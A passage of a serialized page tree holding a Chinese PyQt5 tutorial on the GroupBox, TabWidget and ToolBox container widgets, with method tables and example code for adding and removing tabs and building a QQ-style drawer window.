水平对齐方式",{"type":18,"tag":6882,"props":49080,"children":49081},{},[],{"type":18,"tag":6882,"props":49083,"children":49084},{},[],{"type":24,"value":44383},{"type":18,"tag":6882,"props":49087,"children":49088},{},[],{"type":18,"tag":6882,"props":49090,"children":49091},{},[],{"type":24,"value":44391},{"type":18,"tag":6882,"props":49094,"children":49095},{},[],{"type":18,"tag":6882,"props":49097,"children":49098},{},[],{"type":24,"value":44399},{"type":18,"tag":6882,"props":49101,"children":49102},{},[],{"type":18,"tag":6882,"props":49104,"children":49105},{},[],{"type":24,"value":44407},{"type":18,"tag":6882,"props":49108,"children":49109},{},[],{"type":18,"tag":6882,"props":49111,"children":49112},{},[],{"type":24,"value":49114},"◆ 垂直对齐方式",{"type":18,"tag":6882,"props":49116,"children":49117},{},[],{"type":18,"tag":6882,"props":49119,"children":49120},{},[],{"type":24,"value":44423},{"type":18,"tag":6882,"props":49123,"children":49124},{},[],{"type":18,"tag":6882,"props":49126,"children":49127},{},[],{"type":24,"value":44431},{"type":18,"tag":6882,"props":49130,"children":49131},{},[],{"type":18,"tag":6882,"props":49133,"children":49134},{},[],{"type":24,"value":44439},{"type":18,"tag":439,"props":49137,"children":49138},{},[49139,49144],{"type":18,"tag":466,"props":49140,"children":49141},{},[49142],{"type":24,"value":49143},"setTitle()",{"type":18,"tag":466,"props":49145,"children":49146},{},[49147],{"type":24,"value":49148},"设置分组标题",{"type":18,"tag":439,"props":49150,"children":49151},{},[49152,49157],{"type":18,"tag":466,"props":49153,"children":49154},{},[49155],{"type":24,"value":49156},"setFlat()",{"type":18,"tag":466,"props":49158,"children":49159},{},[49160],{"type":24,"value":49161},"设置是否以扁平样式显示",{"type":18,"tag":34,"props":49163,"children":49164},{},[49165,49170,49172,49178,49180,49185,49187,49193],{"type":18,"tag":74,"props":49166,"children":49168},{"className":49167},[],[49169],{"type":24,"value":49031},{"type":24,"value":49171},"类中最常用的是",{"type":18,"tag":74,"props":49173,"children":49175},{"className":49174},[],[49176],{"type":24,"value":49177},"setTitle()方法",{"type":24,"value":49179},"，用来设置分组框的标题，例如，下面代码用来为",{"type":18,"tag":74,"props":49181,"children":49183},{"className":49182},[],[49184],{"type":24,"value":49001},{"type":24,"value":49186},"控件设置标题",{"type":18,"tag":74,"props":49188,"children":49190},{"className":49189},[],[49191],{"type":24,"value":49192},"系统登录",{"type":24,"value":222},{"type":18,"tag":287,"props":49195,"children":49197},{"className":28710,"code":49196,"language":28712,"meta":8,"style":8},"self.groupBox.setTitle(\"系统登录\")\n",[49198],{"type":18,"tag":74,"props":49199,"children":49200},{"__ignoreMap":8},[49201],{"type":18,"tag":297,"props":49202,"children":49203},{"class":299,"line":300},[49204],{"type":18,"tag":297,"props":49205,"children":49206},{},[49207],{"type":24,"value":49196},{"type":18,"tag":19,"props":49209,"children":49211},{"id":49210},"_2tabwidget选项卡",[49212,49213,49218],{"type":24,"value":42997},{"type":18,"tag":74,"props":49214,"children":49216},{"className":49215},[],[49217],{"type":24,"value":48980},{"type":24,"value":49219},"：选项卡",{"type":18,"tag":121,"props":49221,"children":49222},{},[],{"type":18,"tag":34,"props":49224,"children":49225},{},[49226,49231],{"type":18,"tag":74,"props":49227,"children":49229},{"className":49228},[],[49230],{"type":24,"value":48980},{"type":24,"value":49232},"控件，又称为选项卡控件，它可以将窗口设计成多页，以便使窗口的功能划分为多个部分，而每个部分都可以包括多个子控件。",{"type":18,"tag":34,"props":49234,"children":49235},{},[49236,49241,49242,49248],{"type":18,"tag":74,"props":49237,"children":49239},{"className":49238},[],[49240],{"type":24,"value":48980},{"type":24,"value":41483},{"type":18,"tag":74,"props":49243,"children":49245},{"className":49244},[],[49246],{"type":24,"value":49247},"QTabWidget",{"type":24,"value":48168},{"type":18,"tag":431,"props":49250,"children":49251},{},[49252,49272],{"type":18,"tag":435,"props":49253,"children":49254},{},[49255],{"type":18,"tag":439,"props":49256,"children":49257},{},[49258,49265],{"type":18,"tag":443,"props":49259,"children":49260},{},[49261],{"type":18,"tag":105,"props":49262,"children":49263},{},[49264],{"type":24,"value":41518},{"type":18,"tag":443,"props":49266,"children":49267},{},[49268],{"type":18,"tag":105,"props":49269,"children":49270},{},[49271],{"type":24,"value":41526},{"type":18,"tag":459,"props":49273,"children":49274},{},[49275,49288,49301,49314,49327,49340,49353,49366,49411,49424,49437],{"type":18,"tag":439,"props":49276,"children":49277},{},[49278,49283],{"type":18,"tag":466,"props":49279,"children":49280},{},[49281],{"type":24,"value":49282},"addTab()",{"type":18,"tag":466,"props":49284,"children":49285},{},[49286],{"type":24,"value":49287},"添加选项卡",{"type":18,"tag":439,"props":49289,"children":49290},{},[49291,49296],{"type":18,"tag":466,"props":49292,"children":49293},{},[49294],{"type":24,"value":49295},"inserTab()",{"type":18,"tag":466,"props":49297,"children":49298},{},[49299],{"type":24,"value":49300},"插入选项卡",{"type":18,"tag":439,"props":49302,"children":49303},{},[49304,49309],{"type":18,"tag":466,"props":49305,"children":49306},{},[49307],{"type":24,"value":49308},"removeTab()",{"type":18,"tag":466,"props":49310,"children":49311},{},[49312],{"type":24,"value":49313},"删除选项卡",{"type":18,"tag":439,"props":49315,"children":49316},{},[49317,49322],{"type":18,"tag":466,"props":49318,"children":49319},{},[49320],{"type":24,"value":49321},"currentWidget()",{"type":18,"tag":466,"props":49323,"children":49324},{},[49325],{"type":24,"value":49326},"获取当前选项卡",{"type":18,"tag":439,"props":49328,"children":49329},{},[49330,49335],{"type":18,"tag":466,"props":49331,"children":49332},{},[49333],{"type":24,"value":49334},"currentIndex()",{"type":18,"tag":466,"props":49336,"children":49337},{},[49338],{"type":24,"value":49339},"获取当前选项卡的索引",{"type":18,"tag":439,"props":49341,"children":49342},{},[49343,49348],{"type":18,"tag":466,"props":49344,"children":49345},{},[49346],{"type":24,"value":49347},"setCurrentIndex()",{"type":18,"tag":466,"props":49349,"children":49350},{},[49351],{"type":24,"value":49352},"设置当前选项卡的索引",{"type":18,"tag":439,"props":49354,"children":49355},{},[49356,49361],{"type":18,"tag":466,"props":49357,"children":49358},{},[49359],{"type":24,"value":49360},"setCurrentWidget()",{"type":18,"tag":466,"props":49362,"children":49363},{},[49364],{"type":24,"value":49365},"设置当前选项卡",{"type":18,"tag":439,"props":49367,"children":49368},{},[49369,49374],{"type":18,"tag":466,"props":49370,"children":49371},{},[49372],{"type":24,"value":49373},"setTabPosition()",{"type":18,"tag":466,"props":49375,"children":49376},{},[49377,49379,49382,49385,49387,49390,49393,49395,49398,49401,49403,49406,49409],{"type":24,"value":49378},"设置选项卡的标题位置，支持以下4个位置：",{"type":18,"tag":6882,"props":49380,"children":49381},{},[],{"type":18,"tag":6882,"props":49383,"children":49384},{},[],{"type":24,"value":49386},"◆ QTabWidget.North：标题在北方，即上边，如图3所示，这是默认值",{"type":18,"tag":6882,"props":49388,"children":49389},{},[],{"type":18,"tag":6882,"props":49391,"children":49392},{},[],{"type":24,"value":49394},"◆ QTabWidget.South：标题在南方，即下边，如图4所示",{"type":18,"tag":6882,"props":49396,"children":49397},{},[],{"type":18,"tag":6882,"props":49399,"children":49400},{},[],{"type":24,"value":49402},"◆ QTabWidget.West：标题在西方，即左边，如图5所示",{"type":18,"tag":6882,"props":49404,"children":49405},{},[],{"type":18,"tag":6882,"props":49407,"children":49408},{},[],{"type":24,"value":49410},"◆ QTabWidget.East：标题在东方，即右边，如图6所示",{"type":18,"tag":439,"props":49412,"children":49413},{},[49414,49419],{"type":18,"tag":466,"props":49415,"children":49416},{},[49417],{"type":24,"value":49418},"setTabsClosable()",{"type":18,"tag":466,"props":49420,"children":49421},{},[49422],{"type":24,"value":49423},"设置是否可以独立关闭选项卡，True表示可以关闭，在每个选项卡旁边会有一个关闭按钮，如图7所示；False表示不可以关闭",{"type":18,"tag":439,"props":49425,"children":49426},{},[49427,49432],{"type":18,"tag":466,"props":49428,"children":49429},{},[49430],{"type":24,"value":49431},"setTabText()",{"type":18,"tag":466,"props":49433,"children":49434},{},[49435],{"type":24,"value":49436},"设置选项卡标题文本",{"type":18,"tag":439,"props":49438,"children":49439},{},[49440,49445],{"type":18,"tag":466,"props":49441,"children":49442},{},[49443],{"type":24,"value":49444},"tabText()",{"type":18,"tag":466,"props":49446,"children":49447},{},[49448],{"type":24,"value":49449},"获取指定选项卡的标题文本",{"type":18,"tag":210,"props":49451,"children":49452},{},[49453],{"type":18,"tag":158,"props":49454,"children":49455},{},[49456],{"type":24,"value":49457},"标题在上边",{"type":18,"tag":34,"props":49459,"children":49460},{},[49461],{"type":18,"tag":54,"props":49462,"children":49465},{"alt":49463,"src":49464},"Pasted image 20250901153244","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901153244.png",[],{"type":18,"tag":210,"props":49467,"children":49468},{},[49469],{"type":18,"tag":158,"props":49470,"children":49471},{},[49472],{"type":24,"value":49473},"标题在下边",{"type":18,"tag":34,"props":49475,"children":49476},{},[49477],{"type":18,"tag":54,"props":49478,"children":49481},{"alt":49479,"src":49480},"Pasted image 20250901152938","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901152938.png",[],{"type":18,"tag":210,"props":49483,"children":49484},{},[49485],{"type":18,"tag":158,"props":49486,"children":49487},{},[49488],{"type":24,"value":49489},"标题在左边",{"type":18,"tag":34,"props":49491,"children":49492},{},[49493],{"type":18,"tag":54,"props":49494,"children":49497},{"alt":49495,"src":49496},"Pasted image 20250901153031","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901153031.png",[],{"type":18,"tag":210,"props":49499,"children":49500},{},[49501],{"type":18,"tag":158,"props":49502,"children":49503},{},[49504],{"type":24,"value":49505},"标题在右边",{"type":18,"tag":34,"props":49507,"children":49508},{},[49509],{"type":18,"tag":54,"props":49510,"children":49513},{"alt":49511,"src":49512},"Pasted image 20250901153130","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901153130.png",[],{"type":18,"tag":96,"props":49515,"children":49516},{},[49517],{"type":18,"tag":34,"props":49518,"children":49519},{},[49520,49524,49526,49531],{"type":18,"tag":105,"props":49521,"children":49522},{},[49523],{"type":24,"value":33435},{"type":24,"value":49525}," 说明\n",{"type":18,"tag":74,"props":49527,"children":49529},{"className":49528},[],[49530],{"type":24,"value":48980},{"type":24,"value":49532},"在显示选项卡时，如果默认大小显示不下，会自动生成先前和先后的箭头，用户可以通过单击箭头，查看未显示的选项卡。",{"type":18,"tag":34,"props":49534,"children":49535},{},[49536,49538,49544],{"type":24,"value":49537},"TabWidget控件最常用的信号是",{"type":18,"tag":74,"props":49539,"children":49541},{"className":49540},[],[49542],{"type":24,"value":49543},"currentChanged",{"type":24,"value":49545},"，该信号在切换选项卡时发射。",{"type":18,"tag":34,"props":49547,"children":49548},{},[49549],{"type":18,"tag":105,"props":49550,"children":49551},{},[49552],{"type":24,"value":49553},"实例 选项卡的动态添加和删除",{"type":18,"tag":34,"props":49555,"children":49556},{},[49557,49559,49564,49566,49571,49573,49578,49580,49585,49587,49592,49593,49598,49599,49604],{"type":24,"value":49558},"打开Qt Designer设计器，新建一个窗口，在窗口中添加一个",{"type":18,"tag":74,"props":49560,"children":49562},{"className":49561},[],[49563],{"type":24,"value":48980},{"type":24,"value":49565},"控件和两个",{"type":18,"tag":74,"props":49567,"children":49569},{"className":49568},[],[49570],{"type":24,"value":44683},{"type":24,"value":49572},"控件。其中，",{"type":18,"tag":74,"props":49574,"children":49576},{"className":49575},[],[49577],{"type":24,"value":48980},{"type":24,"value":49579},"控件作为选项卡，两个",{"type":18,"tag":74,"props":49581,"children":49583},{"className":49582},[],[49584],{"type":24,"value":44683},{"type":24,"value":49586},"控件分别执行添加和删除选项卡的操作，设计完成后保存为",{"type":18,"tag":74,"props":49588,"children":49590},{"className":49589},[],[49591],{"type":24,"value":43367},{"type":24,"value":43369},{"type":18,"tag":74,"props":49594,"children":49596},{"className":49595},[],[49597],{"type":24,"value":42560},{"type":24,"value":46735},{"type":18,"tag":74,"props":49600,"children":49602},{"className":49601},[],[49603],{"type":24,"value":42560},{"type":24,"value":49605},"代码文件中，首先定义三个函数，分别实现新增选项卡、删除选项卡和获取选中的选项卡及索引的功能，主要代码如下：",{"type":18,"tag":287,"props":49607,"children":49609},{"className":28710,"code":49608,"language":28712,"meta":8,"style":8},"# 新增选项卡  \ndef addtab(self):  \n    self.atab = QtWidgets.QWidget()  # 创建选项卡对象  \n    name = \"tab_\" + str(self.tabWidget.count() + 1)  # 设置选项卡的对象名  \n    self.atab.setObjectName(name)  # 设置选项卡的对象名  \n    self.tabWidget.addTab(self.atab, name)  # 添加选项卡  \n  \n# 删除选项卡  \ndef deltab(self):  \n    self.tabWidget.removeTab(self.tabWidget.currentIndex())  # 移除当前选项卡  \n  \n# 获取选中的选项卡及索引  \ndef gettab(self, currentIndex):  \n    from PyQt5.QtWidgets import QMessageBox  \n    QMessageBox.information(MainWindow, \"提示\",\"您选择了 \" + self.tabWidget.tabText(currentIndex) + \" 选项卡，索引为： \" + str(self.tabWidget.currentIndex()), QMessageBox.Ok)\n",[49610],{"type":18,"tag":74,"props":49611,"children":49612},{"__ignoreMap":8},[49613,49621,49629,49637,49645,49653,49661,49668,49676,49684,49692,49699,49707,49715,49722],{"type":18,"tag":297,"props":49614,"children":49615},{"class":299,"line":300},[49616],{"type":18,"tag":297,"props":49617,"children":49618},{},[49619],{"type":24,"value":49620},"# 新增选项卡  \n",{"type":18,"tag":297,"props":49622,"children":49623},{"class":299,"line":657},[49624],{"type":18,"tag":297,"props":49625,"children":49626},{},[49627],{"type":24,"value":49628},"def addtab(self):  \n",{"type":18,"tag":297,"props":49630,"children":49631},{"class":299,"line":662},[49632],{"type":18,"tag":297,"props":49633,"children":49634},{},[49635],{"type":24,"value":49636},"    self.atab = QtWidgets.QWidget()  # 创建选项卡对象  \n",{"type":18,"tag":297,"props":49638,"children":49639},{"class":299,"line":799},[49640],{"type":18,"tag":297,"props":49641,"children":49642},{},[49643],{"type":24,"value":49644},"    name = \"tab_\" + str(self.tabWidget.count() + 1)  # 设置选项卡的对象名  \n",{"type":18,"tag":297,"props":49646,"children":49647},{"class":299,"line":808},[49648],{"type":18,"tag":297,"props":49649,"children":49650},{},[49651],{"type":24,"value":49652},"    self.atab.setObjectName(name)  # 设置选项卡的对象名  \n",{"type":18,"tag":297,"props":49654,"children":49655},{"class":299,"line":817},[49656],{"type":18,"tag":297,"props":49657,"children":49658},{},[49659],{"type":24,"value":49660},"    self.tabWidget.addTab(self.atab, name)  # 添加选项卡  \n",{"type":18,"tag":297,"props":49662,"children":49663},{"class":299,"line":826},[49664],{"type":18,"tag":297,"props":49665,"children":49666},{},[49667],{"type":24,"value":36783},{"type":18,"tag":297,"props":49669,"children":49670},{"class":299,"line":4524},[49671],{"type":18,"tag":297,"props":49672,"children":49673},{},[49674],{"type":24,"value":49675},"# 删除选项卡  \n",{"type":18,"tag":297,"props":49677,"children":49678},{"class":299,"line":4533},[49679],{"type":18,"tag":297,"props":49680,"children":49681},{},[49682],{"type":24,"value":49683},"def deltab(self):  \n",{"type":18,"tag":297,"props":49685,"children":49686},{"class":299,"line":4546},[49687],{"type":18,"tag":297,"props":49688,"children":49689},{},[49690],{"type":24,"value":49691},"    self.tabWidget.removeTab(self.tabWidget.currentIndex())  # 移除当前选项卡  \n",{"type":18,"tag":297,"props":49693,"children":49694},{"class":299,"line":4555},[49695],{"type":18,"tag":297,"props":49696,"children":49697},{},[49698],{"type":24,"value":36783},{"type":18,"tag":297,"props":49700,"children":49701},{"class":299,"line":4568},[49702],{"type":18,"tag":297,"props":49703,"children":49704},{},[49705],{"type":24,"value":49706},"# 获取选中的选项卡及索引  \n",{"type":18,"tag":297,"props":49708,"children":49709},{"class":299,"line":4577},[49710],{"type":18,"tag":297,"props":49711,"children":49712},{},[49713],{"type":24,"value":49714},"def gettab(self, currentIndex):  \n",{"type":18,"tag":297,"props":49716,"children":49717},{"class":299,"line":4590},[49718],{"type":18,"tag":297,"props":49719,"children":49720},{},[49721],{"type":24,"value":48569},{"type":18,"tag":297,"props":49723,"children":49724},{"class":299,"line":4599},[49725],{"type":18,"tag":297,"props":49726,"children":49727},{},[49728],{"type":24,"value":49729},"    QMessageBox.information(MainWindow, \"提示\",\"您选择了 \" + self.tabWidget.tabText(currentIndex) + \" 选项卡，索引为： \" + str(self.tabWidget.currentIndex()), QMessageBox.Ok)\n",{"type":18,"tag":34,"props":49731,"children":49732},{},[49733,49735,49741,49742,49748,49750,49756],{"type":24,"value":49734},"分别为",{"type":18,"tag":74,"props":49736,"children":49738},{"className":49737},[],[49739],{"type":24,"value":49740},"添加",{"type":24,"value":10315},{"type":18,"tag":74,"props":49743,"children":49745},{"className":49744},[],[49746],{"type":24,"value":49747},"删除",{"type":24,"value":49749},"按钮，以及选项卡的",{"type":18,"tag":74,"props":49751,"children":49753},{"className":49752},[],[49754],{"type":24,"value":49755},"currentChanged信号",{"type":24,"value":49757},"绑定自定义的槽函数，代码如下：",{"type":18,"tag":287,"props":49759,"children":49761},{"className":28710,"code":49760,"language":28712,"meta":8,"style":8},"# 为“添加”按钮绑定单击信号  \nself.pushButton.clicked.connect(self.addtab)  \n# 为“删除”按钮绑定单击信号  \nself.pushButton_2.clicked.connect(self.deltab)  \n# 为选项卡绑定页面切换信号  \nself.tabWidget.currentChanged.connect(self.gettab)\n",[49762],{"type":18,"tag":74,"props":49763,"children":49764},{"__ignoreMap":8},[49765,49773,49781,49789,49797,49805],{"type":18,"tag":297,"props":49766,"children":49767},{"class":299,"line":300},[49768],{"type":18,"tag":297,"props":49769,"children":49770},{},[49771],{"type":24,"value":49772},"# 为“添加”按钮绑定单击信号  \n",{"type":18,"tag":297,"props":49774,"children":49775},{"class":299,"line":657},[49776],{"type":18,"tag":297,"props":49777,"children":49778},{},[49779],{"type":24,"value":49780},"self.pushButton.clicked.connect(self.addtab)  \n",{"type":18,"tag":297,"props":49782,"children":49783},{"class":299,"line":662},[49784],{"type":18,"tag":297,"props":49785,"children":49786},{},[49787],{"type":24,"value":49788},"# 为“删除”按钮绑定单击信号  \n",{"type":18,"tag":297,"props":49790,"children":49791},{"class":299,"line":799},[49792],{"type":18,"tag":297,"props":49793,"children":49794},{},[49795],{"type":24,"value":49796},"self.pushButton_2.clicked.connect(self.deltab)  \n",{"type":18,"tag":297,"props":49798,"children":49799},{"class":299,"line":808},[49800],{"type":18,"tag":297,"props":49801,"children":49802},{},[49803],{"type":24,"value":49804},"# 为选项卡绑定页面切换信号  \n",{"type":18,"tag":297,"props":49806,"children":49807},{"class":299,"line":817},[49808],{"type":18,"tag":297,"props":49809,"children":49810},{},[49811],{"type":24,"value":49812},"self.tabWidget.currentChanged.connect(self.gettab)\n",{"type":18,"tag":34,"props":49814,"children":49815},{},[49816,49817,49822,49824,49829,49831,49836],{"type":24,"value":48801},{"type":18,"tag":74,"props":49818,"children":49820},{"className":49819},[],[49821],{"type":24,"value":42560},{"type":24,"value":49823},"文件添加程序入口，然后运行程序，窗口中默认有两个选项卡，单击",{"type":18,"tag":74,"props":49825,"children":49827},{"className":49826},[],[49828],{"type":24,"value":49740},{"type":24,"value":49830},"按钮，可以按顺序添加选项卡；单击",{"type":18,"tag":74,"props":49832,"children":49834},{"className":49833},[],[49835],{"type":24,"value":49747},{"type":24,"value":49837},"按钮，可以删除当前鼠标焦点所在的选项卡，如图所示。",{"type":18,"tag":34,"props":49839,"children":49840},{},[49841],{"type":18,"tag":54,"props":49842,"children":49845},{"alt":49843,"src":49844},"Pasted image 20250901152539","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901152539.png",[],{"type":18,"tag":34,"props":49847,"children":49848},{},[49849],{"type":24,"value":49850},"当切换选项卡，在弹出的提示框中显示当前选择的选项卡及其索引，如图所示。",{"type":18,"tag":34,"props":49852,"children":49853},{},[49854],{"type":18,"tag":54,"props":49855,"children":49858},{"alt":49856,"src":49857},"Pasted image 20250901152611","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250901152611.png",[],{"type":18,"tag":96,"props":49860,"children":49861},{},[49862],{"type":18,"tag":34,"props":49863,"children":49864},{},[49865,49869],{"type":18,"tag":105,"props":49866,"children":49867},{},[49868],{"type":24,"value":33435},{"type":24,"value":49870}," 说明\n当删除某个选项卡时，选项卡会自动切换到前一个，因此也会弹出相应的信息提示。",{"type":18,"tag":19,"props":49872,"children":49874},{"id":49873},"_3toolbox工具盒",[49875,49877,49882],{"type":24,"value":49876},"3 ",{"type":18,"tag":74,"props":49878,"children":49880},{"className":49879},[],[49881],{"type":24,"value":48988},{"type":24,"value":49883},"：工具盒",{"type":18,"tag":121,"props":49885,"children":49886},{},[],{"type":18,"tag":34,"props":49888,"children":49889},{},[49890,49895],{"type":18,"tag":74,"props":49891,"children":49893},{"className":49892},[],[49894],{"type":24,"value":48988},{"type":24,"value":49896},"控件，又称为工具盒控件，它主要提供一种列状的层叠选项卡。",{"type":18,"tag":34,"props":49898,"children":49899},{},[49900,49905,49906,49912],{"type":18,"tag":74,"props":49901,"children":49903},{"className":49902},[],[49904],{"type":24,"value":48988},{"type":24,"value":41483},{"type":18,"tag":74,"props":49907,"children":49909},{"className":49908},[],[49910],{"type":24,"value":49911},"QToolBox",{"type":24,"value":48168},{"type":18,"tag":431,"props":49914,"children":49915},{},[49916,49936],{"type":18,"tag":435,"props":49917,"children":49918},{},[49919],{"type":18,"tag":439,"props":49920,"children":49921},{},[49922,49929],{"type":18,"tag":443,"props":49923,"children":49924},{},[49925],{"type":18,"tag":105,"props":49926,"children":49927},{},[49928],{"type":24,"value":41518},{"type":18,"tag":443,"props":49930,"children":49931},{},[49932],{"type":18,"tag":105,"props":49933,"children":49934},{},[49935],{"type":24,"value":41526},{"type":18,"tag":459,"props":49937,"children":49938},{},[49939,49951,49963,49976,49989,50002,50015,50028,50041],{"type":18,"tag":439,"props":49940,"children":49941},{},[49942,49947],{"type":18,"tag":466,"props":49943,"children":49944},{},[49945],{"type":24,"value":49946},"addItem()",{"type":18,"tag":466,"props":49948,"children":49949},{},[49950],{"type":24,"value":49287},{"type":18,"tag":439,"props":49952,"children":49953},{},[49954,49958],{"type":18,"tag":466,"props":49955,"children":49956},{},[49957],{"type":24,"value":49347},{"type":18,"tag":466,"props":49959,"children":49960},{},[49961],{"type":24,"value":49962},"设置当前选中的选项卡索引",{"type":18,"tag":439,"props":49964,"children":49965},{},[49966,49971],{"type":18,"tag":466,"props":49967,"children":49968},{},[49969],{"type":24,"value":49970},"setItemIcon()",{"type":18,"tag":466,"props":49972,"children":49973},{},[49974],{"type":24,"value":49975},"设置选项卡的图标",{"type":18,"tag":439,"props":49977,"children":49978},{},[49979,49984],{"type":18,"tag":466,"props":49980,"children":49981},{},[49982],{"type":24,"value":49983},"setItemText()",{"type":18,"tag":466,"props":49985,"children":49986},{},[49987],{"type":24,"value":49988},"设置选项卡的标题文本",{"type":18,"tag":439,"props":49990,"children":49991},{},[49992,49997],{"type":18,"tag":466,"props":49993,"children":49994},{},[49995],{"type":24,"value":49996},"setItemEnabled()",{"type":18,"tag":466,"props":49998,"children":49999},{},[50000],{"type":24,"value":50001},"设置选项卡是否可用",{"type":18,"tag":439,"props":50003,"children":50004},{},[50005,50010],{"type":18,"tag":466,"props":50006,"children":50007},{},[50008],{"type":24,"value":50009},"inserItem()",{"type":18,"tag":466,"props":50011,"children":50012},{},[50013],{"type":24,"value":50014},"插入新选项卡",{"type":18,"tag":439,"props":50016,"children":50017},{},[50018,50023],{"type":18,"tag":466,"props":50019,"children":50020},{},[50021],{"type":24,"value":50022},"removeItem()",{"type":18,"tag":466,"props":50024,"children":50025},{},[50026],{"type":24,"value":50027},"移除选项卡",{"type":18,"tag":439,"props":50029,"children":50030},{},[50031,50036],{"type":18,"tag":466,"props":50032,"children":50033},{},[50034],{"type":24,"value":50035},"itemText()",{"type":18,"tag":466,"props":50037,"children":50038},{},[50039],{"type":24,"value":50040},"获取选项卡的文本",{"type":18,"tag":439,"props":50042,"children":50043},{},[50044,50048],{"type":18,"tag":466,"props":50045,"children":50046},{},[50047],{"type":24,"value":49334},{"type":18,"tag":466,"props":50049,"children":50050},{},[50051],{"type":24,"value":49339},{"type":18,"tag":34,"props":50053,"children":50054},{},[50055,50060,50061,50066],{"type":18,"tag":74,"props":50056,"children":50058},{"className":50057},[],[50059],{"type":24,"value":48988},{"type":24,"value":48476},{"type":18,"tag":74,"props":50062,"children":50064},{"className":50063},[],[50065],{"type":24,"value":49543},{"type":24,"value":49545},{"type":18,"tag":34,"props":50068,"children":50069},{},[50070],{"type":18,"tag":105,"props":50071,"children":50072},{},[50073],{"type":24,"value":50074},"实例 实现仿QQ抽屉的效果",{"type":18,"tag":34,"props":50076,"children":50077},{},[50078,50080,50085,50087,50093,50095,50100],{"type":24,"value":50079},"打开Qt Designer设计器，使用",{"type":18,"tag":74,"props":50081,"children":50083},{"className":50082},[],[50084],{"type":24,"value":48988},{"type":24,"value":50086},"控件，并结合",{"type":18,"tag":74,"props":50088,"children":50090},{"className":50089},[],[50091],{"type":24,"value":50092},"ToolButton",{"type":24,"value":50094},"工具按钮设计一个仿照QQ抽屉的效果（即一种常用的、能够在有限空间中动态直观地显示更多功能的效果）的窗口，对应",{"type":18,"tag":74,"props":50096,"children":50098},{"className":50097},[],[50099],{"type":24,"value":42560},{"type":24,"value":50101},"代码文件的代码如下：",{"type":18,"tag":287,"props":50103,"children":50105},{"className":28710,"code":50104,"language":28712,"meta":8,"style":8},"from PyQt5 import QtCore, QtGui, QtWidgets  \n  \nclass Ui_MainWindow(object):  \n    def setupUi(self, MainWindow):  \n        MainWindow.setObjectName(\"MainWindow\")  \n        MainWindow.resize(142, 393)  \n        self.centralwidget = QtWidgets.QWidget(MainWindow)  \n        self.centralwidget.setObjectName(\"centralwidget\")  \n        # 创建ToolBox工具盒  \n        self.toolBox = QtWidgets.QToolBox(self.centralwidget)  \n        self.toolBox.setGeometry(QtCore.QRect(0, 0, 141, 391))  \n        self.toolBox.setObjectName(\"toolBox\")  \n        # 我的好友设置  \n        self.page = QtWidgets.QWidget()  \n        self.page.setGeometry(QtCore.QRect(0, 0, 141, 287))  \n        self.page.setObjectName(\"page\")  \n        self.toolButton = QtWidgets.QToolButton(self.page)  \n        self.toolButton.setGeometry(QtCore.QRect(0, 0, 120, 51))  \n        icon = QtGui.QIcon()  \n        icon.addPixmap(QtGui.QPixmap(\"图标\u002F01.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n        self.toolButton.setIcon(icon)  \n        self.toolButton.setIconSize(QtCore.QSize(96, 96))  \n        self.toolButton.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n        self.toolButton.setAutoRaise(True)  \n        self.toolButton.setObjectName(\"toolButton\")  \n        self.toolButton_2 = QtWidgets.QToolButton(self.page)  \n        self.toolButton_2.setGeometry(QtCore.QRect(0, 49, 120, 51))  \n        icon1 = QtGui.QIcon()  \n        icon1.addPixmap(QtGui.QPixmap(\"图标\u002F02.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n        self.toolButton_2.setIcon(icon1)  \n        self.toolButton_2.setIconSize(QtCore.QSize(96, 96))  \n        self.toolButton_2.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n        self.toolButton_2.setAutoRaise(True)  \n        self.toolButton_2.setObjectName(\"toolButton_2\")  \n        self.toolButton_3 = QtWidgets.QToolButton(self.page)  \n        self.toolButton_3.setGeometry(QtCore.QRect(0, 103, 120, 51))  \n        icon2 = QtGui.QIcon()  \n        icon2.addPixmap(QtGui.QPixmap(\"图标\u002F03.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n        self.toolButton_3.setIcon(icon2)  \n        self.toolButton_3.setIconSize(QtCore.QSize(96, 96))  \n        self.toolButton_3.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n        self.toolButton_3.setAutoRaise(True)  \n        self.toolButton_3.setObjectName(\"toolButton_3\")  \n        self.toolBox.addItem(self.page, \"\")  \n        # 同学设置  \n        self.page_2 = QtWidgets.QWidget()  \n        self.page_2.setGeometry(QtCore.QRect(0, 0, 141, 287))  \n        self.page_2.setObjectName(\"page_2\")  \n        self.toolButton_4 = QtWidgets.QToolButton(self.page_2)  \n        self.toolButton_4.setGeometry(QtCore.QRect(0, 0, 120, 51))  \n        icon3 = QtGui.QIcon()  \n        icon3.addPixmap(QtGui.QPixmap(\"图标\u002F04.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n        self.toolButton_4.setIcon(icon3)  \n        self.toolButton_4.setIconSize(QtCore.QSize(96, 96))  \n        self.toolButton_4.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n        self.toolButton_4.setAutoRaise(True)  \n        self.toolButton_4.setObjectName(\"toolButton_4\")  \n        self.toolBox.addItem(self.page_2, \"\")  \n        # 同事设置  \n        self.page_3 = QtWidgets.QWidget()  \n        self.page_3.setObjectName(\"page_3\")  \n        self.toolButton_5 = QtWidgets.QToolButton(self.page_3)  \n        self.toolButton_5.setGeometry(QtCore.QRect(0, 1, 120, 51))  \n        icon4 = QtGui.QIcon()  \n        icon4.addPixmap(QtGui.QPixmap(\"图标\u002F05.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)  \n        self.toolButton_5.setIcon(icon4)  \n        self.toolButton_5.setIconSize(QtCore.QSize(96, 96))  \n        self.toolButton_5.setToolButtonStyle(QtCore.Qt.ToolButtonTextBesideIcon)  \n        self.toolButton_5.setAutoRaise(True)  \n        self.toolButton_5.setObjectName(\"toolButton_5\")  \n        self.toolButton_6 = QtWidgets.QToolButton(self.page_3)  \n        